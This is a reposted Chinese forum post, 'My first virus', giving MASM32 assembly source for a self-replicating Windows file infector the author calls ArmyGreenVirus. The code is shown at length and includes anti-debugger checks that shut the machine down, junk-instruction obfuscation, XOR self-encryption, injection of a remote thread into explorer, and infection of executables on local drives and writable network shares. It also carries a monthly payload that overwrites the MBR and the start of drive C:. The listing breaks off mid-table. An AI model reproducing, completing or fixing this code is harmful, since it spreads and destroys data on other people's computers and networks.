[转载]我写的第一只病毒
文章作者:Basana我写的第一只病毒,学习了很多别人的代码,只是为了锻炼一下,看看这一段时间的学习效果。virus中采用了很多Anti—Debug和反静态反汇编的技术,和大量的花指令。病毒运行后会在explorer进程中插入远程进程,枚举硬盘所有目录感染可执行文件,还会搜索局域网,感染可写目录的文件。病毒中采用了EPO技术,感染可执行文件后增加一个新节,同时对病毒主体进行随即加密后在写入,远程执行部分进行了两次随即加密。在win2k下运行有一点小bug是处在api地址获取上,但在winxp下没问题,还请高手帮忙
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
VWIN32_DIOC_DOS_DRIVEINFO equ 6
DIOC_REGISTERS STRUCT
reg_EBX dd ?
reg_EDX dd ?
reg_ECX dd ?
reg_EAX dd ?
reg_EDI dd ?
reg_ESI dd ?
reg_Flags dd ?
DIOC_REGISTERS ENDS
DISKIO STRUCT
dwStartSector dd ?
wSectors dw ?
lpbuffer dd ?
DISKIO ENDS
FlowerKey MACRO
LOCAL label_1,label_2,label_3
call label_1
db 'WeSsEw!',0
jmp label_2
db 'thunkcode',0
label_1:
pop eax
add eax,8
push eax
call label_3
db 'RightWay!',0
label_3:
pop eax
pop eax
jmp eax
label_2:
ENDM
.code
EPOLen = EPOEnd-EPOStart
ArmyVirusHeader equ this byte
;========================================================================
EPOStart:
xor eax,00000001
add eax,00000002
jz @F
jnz @F
db 0E8h ;用花指令干扰静态反汇编
@@:
jmp short @F
db 09ah ;用花指令干扰静态反汇编
db 0e8h
@@:
jz @F ;用花指令干扰静态反汇编
jnz @F
db "Welcome",0
@@:
call label_1
db 0E8h
db 09ah
jmp label_4
label_1:
pop eax
jmp label_2
db 0E8h
label_2:
add eax,2
jmp label_3
db 09ah
label_3:
push eax
ret
db 09ah
label_4:
dd 0000h
dd 0000h
EPOEnd:
;========================================================================
ArmyVirusBegin equ this byte ;ArmyVirus起始
ArmyVirusStart: ;ArmyVirus开始运行
FlowerKey
call @F ;程序重定位
@@:
pop ebx
sub ebx,offset @B
mov eax,[ebx + Flag]
or eax,eax ;判断是否是第一次运行
jz @F
lea esi,[ebx + HostCode] ;恢复因EPO而被修改的代码
mov edi,[esp]
sub edi,EPOLen
mov [esp],edi
push EPOLen
pop ecx
rep movsb
@@:
;------------------------------------------------------------------------
mov ecx,offset EncryptEnd - offset EncryptStart
lea edi,[ebx + offset EncryptStart]
mov al,[ebx + EncryptKey] ;对加密的代码解密
@@:
xor byte ptr[edi],al
inc edi
dec ecx
jnz @B
;------------------------------------------------------------------------
EncryptStart:
FlowerKey ;用花指令干扰静态反汇编
mov eax,[ebx + Flag]
or eax,eax
jz @F
push [esp + 04h]
jmp @1
@@:
push [esp]
@1:
mov [ebx + Flag],1
call GetKernelBase
mov esi,eax
push eax
pop [ebx + k32Base]
;------------------------------------------------------------------------
FlowerKey ;用花指令干扰静态反汇编
lea eax,[ebx + strGetProcAddress];取得GetProcAddress的地址
push eax
push esi
call Get_GPA
mov [ebx + addGetProcAddress],eax
push esi ;取得kernel32.dll中的各API的地址
lea eax,[ebx + offset Kernel_Functions]
push eax
call GetAPI
lea eax,[ebx + strAdvapidll] ;取得Advapi32.dll的地址
push eax
call LoadLibrary
push eax ;取得Advapi32.dll中的各API的地址
lea eax,[ebx + offset Advapi_Functions]
push eax
call GetAPI
lea eax,[ebx + strUserdll] ;取得User32.dll的地址
push eax
call LoadLibrary
push eax ;取得User32.dll中的各API的地址
lea eax,[ebx + offset UserDll_Functions]
push eax
call GetAPI
lea eax,[ebx + strMprdll] ;取得Mpr.dll的地址
push eax
call LoadLibrary
push eax ;取得Mpr.dll中的各API的地址
lea eax,[ebx + offset MprDll_Functions]
push eax
call GetAPI
FlowerKey ;用花指令干扰静态反汇编
;-------------------------------------------------------------------------
;开始反动态调试
;-------------------------------------------------------------------------
push NULL ;MeltICE类型检测
push FILE_ATTRIBUTE_ARCHIVE ;9x/nt
push OPEN_EXISTING ;softice/trw
push NULL
push FILE_SHARE_READ
push GENERIC_READ
lea eax,[ebx + ICEHandleNt]
push eax
call CreateFile
inc eax
jnz _Debuging
push NULL
push FILE_ATTRIBUTE_ARCHIVE
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ
push GENERIC_READ
lea eax,[ebx + ICEHandle9x]
push eax
call CreateFile
inc eax
jnz _Debuging
push NULL
push FILE_ATTRIBUTE_ARCHIVE
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ ;trw
push GENERIC_READ
lea eax,[ebx + TRHandle]
push eax
call CreateFile
inc eax
jnz _Debuging
FlowerKey ;用花指令干扰静态反汇编
;-------------------------------------------------------------------------
assume fs:nothing ;创建SEH结构,用于错误处理
push ebp
lea eax,[ebx + offset _AntiErr]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
mov ebp,04243484Bh ;'BCHK' BoundsChecker后门检测
mov ax,4h ;softice
int 3h ;9x/nt
cmp al,4
jnz _Debuging
_AntiErr:
pop fs:[0]
add esp,0ch
FlowerKey ;用花指令干扰静态反汇编
;--------------------------------------------------------------------------
assume fs:nothing ;创建SEH结构,用于错误处理
push ebp
lea eax,[ebx + offset _NoSoftIce1]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
mov si,'FG' ;BackDoor类型检测
mov di,'JM' ;softice
int 03h ;9x/nt
jmp _Debuging
_NoSoftIce1:
pop fs:[0]
add esp,0ch
FlowerKey ;用花指令干扰静态反汇编
;--------------------------------------------------------------------------
assume fs:nothing ;创建SEH结构,用于错误处理
push ebp
lea eax,[ebx + offset _NoSoftIce2]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
sidt dword ptr [esi] ;ICECream类型检测
mov esi,dword ptr[esi + 02] ;softice
mov ax,word ptr [esi + 0Eh] ;9x
mov bx,word ptr [esi + 06h]
cmp ax,bx
jnz _Debuging
_NoSoftIce2:
pop fs:[0]
add esp,0ch
FlowerKey ;用花指令干扰静态反汇编
;--------------------------------------------------------------------------
lea eax,[ebx + offset OpenSCManager]
inc eax
mov eax,[eax]
or eax,eax
jnz N1
mov [ebx + OSFlag],0
jmp NextTest
N1:
mov [ebx + OSFlag],1
push SC_MANAGER_ALL_ACCESS ;判断NTICE服务是否运行
push NULL ;softice
push NULL ;nt/2k/xp
call OpenSCManager
or eax,eax
jz NextTest
push SERVICE_ALL_ACCESS
lea edx,[ebx + ServiceName]
push edx
push eax
call OpenService
or eax,eax
jz NextTest
mov esi,eax
sub esp,sizeof SERVICE_STATUS
mov edi,esp
push esp
push esi
call QueryServiceStatus
add esp,sizeof SERVICE_STATUS
or eax,eax
jz @F
mov eax,edi
assume eax:ptr SERVICE_STATUS
cmp [eax].dwCurrentState,SERVICE_RUNNING
assume eax:nothing
jz _Debuging
@@:
push esi
call CloseServiceHandle
NextTest:
;--------------------------------------------------------------------------
lea eax,[ebx + offset UnhandledExceptionFilter]
inc eax
mov eax,[eax]
or eax,eax
jnz @F
jmp _InsertRemoteThread
@@: ;利用UnhandledExceptionFilter检测
cmp eax,0CCh ;softice
jz _Debuging ;nt/2k/xp
_InsertRemoteThread:
mov eax,[ebx + OSFlag]
or eax,eax
jz Insert9xRemoteThread
lea eax,[ebx + szDesktopWindow]
push eax
lea eax,[ebx + szDesktopClass]
push eax
call FindWindow
push eax
push esp
push eax
call GetWindowThreadProcessId
push FALSE
push PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or \
PROCESS_VM_WRITE
call OpenProcess
or eax,eax
jz _ErrOpen
mov esi,eax
;********************************************************************
; 在进程中分配空间并将执行代码拷贝过去,然后创建一个远程线程
;********************************************************************
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT
push offset ArmyVirusEnd - offset ArmyVirusHeader
push NULL
push esi
call VirtualAllocEx
or eax,eax
jz _ErrCreate
mov edi,eax
push NULL
push offset ArmyVirusEnd - offset ArmyVirusHeader
lea eax,[ebx + offset ArmyVirusHeader]
push eax
push edi
push esi
call WriteProcessMemory
add edi,offset NtRemoteThread - offset ArmyVirusHeader
push NULL
push 0
push 0
push edi
push 0
push NULL
push esi
call CreateRemoteThread
push eax
call CloseHandle
_ErrCreate:
push esi
call CloseHandle
_ErrOpen:
;--------------------------------------------------------------------------
;恢复原程序的运行
;--------------------------------------------------------------------------
ret
;--------------------------------------------------------------------------
Insert9xRemoteThread:
call FileMappingName
db 'ArmyGreenVirus',0
FileMappingName:
push offset ArmyVirusEnd - offset ArmyVirusHeader
push 0
push PAGE_READWRITE
push NULL
push -1
call CreateFileMapping
push 3
pop ecx
_P:
push 0
loop _P
push FILE_MAP_READ or FILE_MAP_WRITE
push eax
call MapViewOfFile
mov edi,eax
lea esi,[ebx + offset ArmyVirusHeader]
push offset ArmyVirusEnd - offset ArmyVirusHeader
pop ecx
rep movsb
push eax
push esp
push NULL
push NULL
add eax,offset NtRemoteThread - offset ArmyVirusHeader
push eax
push NULL
push NULL
call CreateThread
pop ecx
push eax
call CloseHandle
lea eax,[ebx + offset OpenFileMapping]
inc eax
mov eax,[eax]
mov [ebx + offset OpenFileMappingAddr],eax
mov edi,[ebx + k32Base]
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew ;esi -> PeHeader
assume edi:ptr IMAGE_NT_HEADERS
mov edi,[edi].OptionalHeader.SizeOfHeaders
add edi,[ebx + k32Base]
push edi
pushad
push eax
sidt [esp-2]
pop eax
add eax,3*8 ;IDT03号
mov ebx,[eax]
mov edx,[eax+4]
call ToRing0
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb ;复制代码/数据到内核代码指定位置
popad
iret
ToRing0:
cli
pop word ptr[eax]
pop word ptr[eax+6]
lea esi,[ebx + offset RemoteThread9x]
mov ecx,offset RemoteThread9xEnd - offset RemoteThread9x
int 3 ;利用Win9x,IDT漏洞进入系统内核
sti
popad
assume edi:nothing
pop edi
push eax
push esp
push NULL
call GetCurrentProcessId
push eax
push edi
push NULL
push NULL
call CreateKernelThread
pop ecx
push eax
call CloseHandle
FlowerKey ;用花指令干扰静态反汇编
ret
;--------------------------------------------------------------------------
;发现调试器退出程序运行,关机
;--------------------------------------------------------------------------
_Debuging:
push 0
push 1
call ExitWindowEx
FlowerKey ;用花指令干扰静态反汇编
;-------------------------------------------------------------------------
RemoteThread9x:
call PushFileMappingName
db 'ArmyGreenVirus',0
PushFileMappingName:
push 0
push FILE_MAP_READ or FILE_MAP_WRITE
mov eax,12345678h
OpenFileMappingAddr = $-4
call eax
ret
RemoteThread9xEnd equ this byte
;-------------------------------------------------------------------------
NtRemoteThread:
call @F
@@:
pop ebx
sub ebx,offset @B
mov ecx,offset EncryptRemoteThreadEnd - offset EncryptRemoteThread
lea edi,[ebx + offset EncryptRemoteThread]
mov al,[ebx + EncryptRemoteThreadKey] ;对加密的代码解密
@@:
xor byte ptr[edi],al
inc edi
dec ecx
jnz @B
call IsResidence ;判断病毒是否已驻留系统
db 'ArmyGreenA',0
IsResidence:
push TRUE
push 0
call CreateMutex
call GetLastError
or eax,eax
jz EncryptRemoteThread
ret
EncryptRemoteThread:
sub esp,sizeof SYSTEMTIME ;判断日期是否为每月的一号
mov esi,esp
push esp
call GetLocalTime
add esp,sizeof SYSTEMTIME ;平衡堆栈
movzx eax,word ptr [esi + 6h]
cmp eax,1
jnz ScanFile ;是则病毒破坏功能发作
call DestroyDisk
ret
ScanFile:
call InfectLogDrivers
call BeginInfectNetwork
jmp ScanFile
;-------------------------------------------------------------------------
InfectLogDrivers proc ;搜索本地逻辑磁盘
pushad
FlowerKey ;用花指令干扰静态反汇编
EnumLogDrivers:
mov ecx,24
mov edx,'\:C'
push ecx
push edx
push esp
call GetDriveType
cmp eax,2 ;是不可访问磁盘
jb @F
cmp eax,5 ;是CDROM光盘
jz @F
push esp
call SearchFile
@@:
pop edx
inc edx
pop ecx
loop EnumLogDrivers
popad
ret
InfectLogDrivers endp
;-------------------------------------------------------------------------
BeginInfectNetwork proc ;列举网络根
FlowerKey ;用花指令干扰静态反汇编
xor edi,edi
lea eax,[ebx + offset EnumNetWorkGroup]
push eax
push edi
push RESOURCEUSAGE_CONTAINER
call EnumNetObject
ret
BeginInfectNetwork endp
;--------------------------------------------------------------------------
EnumNetWorkGroup proc ;列举工作组
FlowerKey ;用花指令干扰静态反汇编
push edx
lea eax,[ebx + offset EnumNetComputer]
push eax
push edx
push RESOURCEUSAGE_CONTAINER
call EnumNetObject
pop edx
ret
EnumNetWorkGroup endp
;---------------------------------------------------------------------------
EnumNetComputer proc ;列举计算机
FlowerKey ;用花指令干扰静态反汇编
push edx
lea eax,[ebx + offset EnumNetComputerShareDir]
push eax
push edx
push RESOURCEUSAGE_CONTAINER
call EnumNetObject
pop edx
ret
EnumNetComputer endp
;----------------------------------------------------------------------------
EnumNetComputerShareDir proc ;列举计算机共享目录
FlowerKey ;用花指令干扰静态反汇编
push edx
lea eax,[ebx + offset EnumNetFile]
push eax
push edx
push RESOURCEUSAGE_CONNECTABLE
call EnumNetObject
pop edx
ret
EnumNetComputerShareDir endp
;----------------------------------------------------------------------
EnumNetFile proc ;列举共享目录里的文件
FlowerKey ;用花指令干扰静态反汇编
push edx
push [edx + 14h]
call SearchFile
pop edx
ret
EnumNetFile endp
;-------------------------------------------------------------------------
EnumNetObject proc Flag:dword,NetData:dword,CallBack:dword
pushad
FlowerKey ;用花指令干扰静态反汇编
push eax
push esp
push NetData
push Flag
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
call WNetOpenEnum
pop esi ;弹出句柄
or eax,eax
jnz EnumNetObjectError
mov edi,100h ;划分堆栈空间大小
sub esp,edi
mov edx,esp ;在堆栈中开辟缓冲区
LoopEnumNetObject:
push edx
push 1h ;一次列举一个
mov eax,esp
push edi ;缓冲区大小(edi=100h)
push esp
push edx
push eax
push esi
call WNetEnumResource
pop ecx
pop ecx ;平衡堆栈
or eax,eax
pop edx
jnz EnumNetObjectOver
call CallBack ;调用回调函数
jmp LoopEnumNetObject
EnumNetObjectOver:
push esi
call WNetCloseEnum
add esp,edi
EnumNetObjectError:
popad
ret
EnumNetObject endp
;-------------------------------------------------------------------------
SearchFile proc RootDir
local stFindFile:WIN32_FIND_DATA
pushad
FlowerKey ;用花指令干扰静态反汇编
mov eax,RootDir
mov eax,[eax]
or eax,20202020h
cmp eax,'nniw' ;不感染WINN...目录
jz SetDirError
cmp eax,'dniw' ;不感染WIND...目录
jz SetDirError
push RootDir
call SetCurrentDirectory
sub esp,100h
mov dword ptr [esp],2a2e2ah ;搜索*.*文件
mov eax,esp
lea edx,stFindFile
push edx
push eax
call FindFirstFile
mov edx,eax
cmp eax,-1
jz SearchError
EnumFile:
lea eax,stFindFile
assume eax:ptr WIN32_FIND_DATA
mov ecx,[eax].dwFileAttributes
and ecx,10h
jz IsFile
lea ecx,[eax].cFileName
mov ecx,[ecx]
cmp byte ptr cl,'.'
jz EnumNextFile
lea ecx,[eax].cFileName
push ecx
call SearchFile
push edx
push 10
call Sleep
pop edx
jmp EnumNextFile
IsFile:
lea ecx,[eax].cFileName
Ext:
inc ecx
cmp byte ptr[ecx],0
jnz Ext
mov ecx,[ecx-4]
or ecx,20202020h
cmp ecx,'exe.'
jz FPF
cmp ecx,'xco.'
jz FPF
cmp ecx,'rcs.'
jz FPF
jmp EnumNextFile
FPF:
push edx
push eax
call FixPeFile
pop edx
EnumNextFile:
lea eax,stFindFile
push edx
push eax
push edx
call FindNextFile
pop edx
cmp eax,0
jnz EnumFile
push edx
call FindClose
assume eax:nothing
SearchError:
mov dword ptr[esp],2e2eh ;恢复原来的当前目录 建立字符串".."
push esp
call SetCurrentDirectory
add esp,100h ;平衡堆栈
SetDirError:
popad
ret
SearchFile endp
;-------------------------------------------------------------------------
FixPeFile proc FileData
FlowerKey ;用花指令干扰静态反汇编
mov eax,FileData
assume eax:ptr WIN32_FIND_DATA
lea eax,[eax].cFileName
push eax
push 80h
push eax
call SetFileAttributes
assume eax:nothing
pop eax
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push eax
call CreateFile ;打开指定文件
mov [ebx + hfile],eax
xor edx,edx
push edx
push [ebx + hfile]
call GetFileSize
mov [ebx + fsize],eax ;取得文件大小
;------------------------------------------------------------------------
xor edx,edx ;建立文件映射
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push [ebx + hfile]
call CreateFileMapping
mov [ebx + hMap],eax
;------------------------------------------------------------------------
xor edx,edx ;映射文件
push edx
push edx
push edx
push FILE_MAP_WRITE
push [ebx + hMap]
call MapViewOfFile
mov [ebx + pMem],eax
call InfectPe
push [ebx + pMem]
call UnmapViewOfFile
push [ebx + hMap]
call CloseHandle
mov edi,FileData
assume edi:ptr WIN32_FIND_DATA
lea eax,[edi].ftCreationTime
lea ecx,[edi].ftLastAccessTime
lea edx,[edi].ftLastWriteTime
push edx
push ecx
push eax
push [ebx + hfile]
call SetFileTime
assume edi:ptr nothing
push [ebx + hfile]
call CloseHandle
mov edi,FileData
assume edi:ptr WIN32_FIND_DATA
mov edx,[edi].dwFileAttributes
lea eax,[edi].cFileName
push edx
push eax
call SetFileAttributes
assume edi:ptr nothing
ret
FixPeFile endp
;--------------------------------------------------------------------------
DestroyDisk proc
local drs_in:DIOC_REGISTERS
local drs_out:DIOC_REGISTERS
local dio:DISKIO
FlowerKey ;用花指令干扰静态反汇编
mov eax,[ebx + OSFlag]
or eax,eax
jz OS9X
push NULL ;破坏MBR
push NULL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
lea eax,[ebx + DMBR]
push eax
call CreateFile
xchg eax,esi
sub esp,512
mov edi,esp
mov al,1
mov ecx,511
rep stosb
xor al,al
stosb
mov edi,esp
push eax
mov edx,esp
push NULL
push edx
push 512
push edi
push esi
call WriteFile
pop eax
add esp,512
push esi
call CloseHandle
push NULL ;破坏C:盘
push NULL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
lea eax,[ebx + DDkiskC]
push eax
call CreateFile
xchg eax,esi
push 2000h
pop ecx
sub esp,512
mov edi,esp
mov al,1
mov ecx,511
rep stosb
xor al,al
stosb
LoopDNTD:
push ecx
push eax
mov edx,esp
push NULL
push edx
push 512
push edi
push esi
call WriteFile
pop eax
pop ecx
loop LoopDNTD
add esp,512
push esi
call CloseHandle
add esp,512
ret
OS9X:
lea eax,[ebx + offset DVXD] ;破坏C:盘
push NULL
push FILE_FLAG_DELETE_ON_CLOSE
push 0
push NULL
push 0
push 0
push eax
call CreateFile
xchg eax,esi
push 2000h
pop ecx
sub esp,512
mov edi,esp
mov al,1
mov ecx,511
rep stosb
xor al,al
stosb
LoopD9xD:
push ecx
mov drs_in.reg_EAX,7305h
lea edx,dio
mov drs_in.reg_EBX,edx
mov drs_in.reg_ECX,-1
mov drs_in.reg_EDX,3
mov drs_in.reg_ESI,1
mov dio.dwStartSector,0
mov dio.wSectors,1
mov dio.lpbuffer,edi
push eax
mov eax,esp
push 0
push eax
push sizeof drs_out
lea eax,drs_out
push eax
push sizeof drs_in
lea eax,drs_in
push eax
push VWIN32_DIOC_DOS_DRIVEINFO
push esi
call DeviceIoControl
pop eax
pop ecx
loop LoopD9xD
add esp,512
push esi
call CloseHandle
ret
DestroyDisk endp
EncryptRemoteThreadEnd equ this byte
EncryptRemoteThreadKey db 0
;--------------------------------------------------------------------------
GetKernelBase proc _KernelRet ;寻找kernel32.dll的基址
local @dwReturn
pushad
FlowerKey ;用花指令干扰静态反汇编
mov @dwReturn,0
mov edi,dword ptr _KernelRet
and edi,0ffff0000h
LoopFindKen:
cmp word ptr [edi],IMAGE_DOS_SIGNATURE
jnz ErrPage
mov esi,edi
add esi,[esi + 003ch]
cmp word ptr [esi],IMAGE_NT_SIGNATURE
jnz ErrPage
mov dword ptr @dwReturn,edi
jmp FindKenOk
ErrPage:
sub edi,010000h
cmp edi,070000000h
jnz LoopFindKen
mov dword ptr @dwReturn,0BFF00000h ;赋予默认的9x基址
FindKenOk:
popad
mov eax,@dwReturn
ret
GetKernelBase endp
;========================================================================
Get_GPA proc _kBase,_lpszApi ;搜索指定api的地址
local @dwReturn,@dwStrLen
pushad
FlowerKey ;用花指令干扰静态反汇编
mov @dwReturn,0
mov edi,_lpszApi
mov ecx,-1 ;计算api字符串的长度
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStrLen,ecx
mov esi,_kBase
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_kBase ;获取导出表
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov ebx,[esi].AddressOfNames
add ebx,_kBase
xor edx,edx
LoopFindApi:
push esi
mov edi,[ebx]
add edi,_kBase
mov esi,_lpszApi
mov ecx,@dwStrLen
repz cmpsb
jnz N2
pop esi
jmp @F
N2:
pop esi
add ebx,4
inc edx
cmp edx,[esi].NumberOfNames
jnz LoopFindApi
jmp _Err
@@:
sub ebx,[esi].AddressOfNames
sub ebx,_kBase
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_kBase
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_kBase
mov eax,[eax]
add eax,_kBase
mov @dwReturn,eax
_Err:
assume esi:nothing
popad
mov eax,@dwReturn
ret
Get_GPA endp
;========================================================================
GetAPI proc _lpstrApi,_lpDllBase ;取得API地址
pushad
FlowerKey ;用花指令干扰静态反汇编
mov esi,_lpstrApi
@@:
mov eax,esi
add eax,07
push eax
push _lpDllBase
call [ebx + addGetProcAddress]
or eax,eax
jz @F
mov [esi + 1],eax
add esi,07
len:
lodsb
or al,al
jnz len
cmp byte ptr [esi],0B8h
jz @B
@@:
popad
ret
GetAPI endp
;========================================================================
_SEHHandler proc _lpExceptionRecord,_lpSEH,\ ;结构化异常处理
_lpContext,_lpDispatcherContext
pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax+0ch]
pop [edi].regEbp
push [eax+8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret
_SEHHandler endp
;========================================================================
InfectPe proc ;把ArmyGreenVirus添加进目标pe文件
local NewEntryPoint:dword
local FileRA:dword
pushad
FlowerKey ;用花指令干扰静态反汇编
mov esi,[ebx + pMem]
assume esi:ptr IMAGE_DOS_HEADER
cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
jnz _ErrFile
add esi,[esi].e_lfanew ;esi -> PeHeader
assume esi:ptr IMAGE_NT_HEADERS
cmp [esi].Signature,IMAGE_NT_SIGNATURE
jnz _ErrFile
cmp dword ptr [esi+8],'ymrA' ;判断是否已被感染
jz _ErrFile
cmp [esi].OptionalHeader.Subsystem,2
jnz _ErrFile
cmp [esi].OptionalHeader.CheckSum,0
jnz _ErrFile
movzx eax,[esi].FileHeader.NumberOfSections ;节的数目
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
add eax,sizeof IMAGE_NT_HEADERS
add eax,esi
mov edi,eax ;edi -> SECTION_HEADER新节表
;------------------------------------------------------------------------
add eax,sizeof IMAGE_SECTION_HEADER
sub eax,[ebx + pMem] ;判断空间是否够用
cmp eax,[esi].OptionalHeader.SizeOfHeaders
ja _ErrFile
mov dword ptr [esi+8],'ymrA' ;添加感染标志
inc [esi].FileHeader.NumberOfSections ;增加一个新节
assume edi:ptr IMAGE_SECTION_HEADER
mov dword ptr [edi],'mrA.' ;添加新节名'.Army'
mov dword ptr [edi+4],'y'
mov [edi].Misc.VirtualSize,offset ArmyVirusEnd - offset ArmyVirusHeader
push [esi].OptionalHeader.SizeOfImage
pop [edi].VirtualAddress ;新节的虚拟偏移地址
;------------------------------------------------------------------------
mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.FileAlignment ;文件对齐粒度
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax ;经过文件对齐处理后节尺寸
mov eax,offset ArmyVirusEnd - offset ArmyVirusHeader
mov ecx,[esi].OptionalHeader.SectionAlignment;内存中节对齐的粒度
div ecx
inc eax
mul ecx
add [esi].OptionalHeader.SizeOfImage,eax;修正内存中整个PE映像的尺寸
;------------------------------------------------------------------------
lea eax,[edi - 28h + 14h] ;前一个节表的PointerToRawData
mov eax,[eax] ;前一个节的文件偏移
lea ecx,[edi- 28h + 10h] ;前一个节表的SizeOfRawData
mov ecx,[ecx] ;前一个节文件对齐处理后节尺寸
add eax,ecx ;前一个节的大小,即新节的开始偏移
mov [edi].PointerToRawData,eax ;新节的文件偏移
mov [edi].Characteristics,0E0000020h ;可读可写可执行
;------------------------------------------------------------------------
mov eax,[edi].VirtualAddress
add eax,offset ArmyVirusStart - offset ArmyVirusHeader
sub eax,[esi].OptionalHeader.AddressOfEntryPoint
sub eax,EPOLen
mov NewEntryPoint,eax ;ArmyGreenVirus的入口点
push esi ;进行第一次EPO
push edi
mov ecx,offset EPOEnd - offset EPOStart
mov edx,esi
add edx,sizeof IMAGE_NT_HEADERS
assume edx:ptr IMAGE_SECTION_HEADER
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
sub eax,[esi].OptionalHeader.BaseOfCode ;求出代码段中第一条执行指令的的基偏移
add eax,[edx].PointerToRawData ;求出代码段中第一条执行指令的的文件偏移
mov esi,eax
mov [edx].Characteristics,0E0000020h ;修改宿主程序的代码段属性为可读可写可执行
add esi,[ebx + pMem] ;进行EPO前保存宿主程序开头的代码
mov FileRA,esi ;PE文件的第一个指令的文件RVA
lea edi,[ebx + HostCode]
rep movsb
mov ecx,offset EPOEnd - offset EPOStart
lea esi,[ebx + EPOStart] ;写入EPO代码
mov edi,FileRA
rep movsb
sub edi,8
mov eax,0E8659090h
stosd
mov eax,NewEntryPoint ;写入ArmyGreenVirus的跳转地址
stosd
pop edi
pop esi
;------------------------------------------------------------------------
push edi ;对Virus加密
lea esi,[ebx + offset ArmyVirusHeader]
push [edi].SizeOfRawData
push GPTR
call GlobalAlloc
mov edi,eax
mov [ebx + hMem],eax
mov ecx,offset ArmyVirusEnd - offset ArmyVirusHeader
rep movsb
call GetTickCount ;产生随机数
mov ecx,[ebx + fsize]
div ecx
mov eax,[ebx + hMem]
add eax,offset EncryptRemoteThreadEnd - offset ArmyVirusHeader
mov byte ptr [eax],dl ;保存密匙
mov eax,[ebx + hMem]
add eax,offset EncryptRemoteThread - offset ArmyVirusHeader
mov edi,eax
mov ecx,offset EncryptRemoteThreadEnd - offset EncryptRemoteThread
EnR:
xor byte ptr[edi],dl
inc edi
loop EnR
call GetTickCount
mov ecx,[ebx + fsize]
div ecx ;产生随机数
mov eax,[ebx + hMem]
add eax,offset ArmyVirusEnd - offset ArmyVirusHeader
sub eax,1
mov byte ptr [eax],dl ;保存密匙
mov eax,[ebx + hMem]
add eax,offset EncryptStart - offset ArmyVirusHeader
mov edi,eax
mov ecx,offset EncryptEnd - offset EncryptStart
@@:
xor byte ptr[edi],dl
inc edi
dec ecx
jnz @B
pop edi
;------------------------------------------------------------------------
push FILE_BEGIN ;设置文件指针到结尾后,
push 0
push [edi].PointerToRawData
push [ebx + hfile]
call SetFilePointer
push eax
mov eax,esp
push 0
push eax ;写入从ArmyVirusBegin开始的代码
push [edi].SizeOfRawData ;大小经过文件对齐
push [ebx + hMem]
push [ebx + hfile]
call WriteFile
pop eax
push [ebx + hMem]
call GlobalFree
;------------------------------------------------------------------------
_ErrFile:
popad
ret
InfectPe endp
;========================================================================
ICEHandleNt db '\\.\NTICE',0
ICEHandle9x db '\\.\SIWDEBUG',0
TRHandle db '\\.\Trw',0
ServiceName db 'NTice',0
szDesktopClass db 'Progman',0
szDesktopWindow db 'Program Manager',0
strGetProcAddress db 'GetProcAddress',0
strAdvapidll db 'advapi32',0
strUserdll db 'user32',0
strMprdll db 'mpr',0
DDkiskC db '\\.\C:',0
DMBR db '\\.\PHYSICALDRIVE0',0
DVXD db '\\.\VWIN32',0
k32Base dd ?
addGetProcAddress dd ?
OSFlag dd ?
hfile dd ?
fsize dd ?
hMap dd ?
pMem dd ?
hMem dd ?
Kernel_Functions: ;要用到的api
CreateFile:
db 0B8h,4 dup(0),0FFh,0E0h,'CreateFileA',0
LoadLibrary:
db 0B8h,4 dup(0),0FFh,0E0h,'LoadLibraryA',0
ExitProcessA:
db 0B8h,4 dup(0),0FFh,0E0h,'ExitProcess',0
UnhandledExceptionFilter:
db 0B8h,4 dup(0),0FFh,0E0h,'UnhandledExceptionFilter',0
WriteProcessMemory:
db 0B8h,4 dup(0),0FFh,0E0h,'WriteProcessMemory',0
CreateRemoteThread:
db 0B8h,4 dup(0),0FFh,0E0h,'CreateRemoteThread',0
CreateThread:
db 0B8h,4 dup(0),0FFh,0E0h,'CreateThread',0
OpenProcess:
db 0B8h,4 dup(0),0FFh,0E0h,'OpenProcess',0
VirtualAllocEx:
db 0B8h,4 dup(0),0FFh,0E0h,'VirtualAllocEx',0
CreateFileMapping:
db 0B8h,4 dup(0),0FFh,0E0h,'CreateFileMappingA',0
MapViewOfFile:
db 0B8h,4 dup(0),0FFh,0E0h,'MapViewOfFile',0
OpenFileMapping:
db 0B8h,4 dup(0),0FFh,0E0h,'OpenFileMappingA',0
UnmapViewOfFile:
db 0B8h,4 dup(0),0FFh,0E0h,'UnmapViewOfFile',0
GetFileSize:
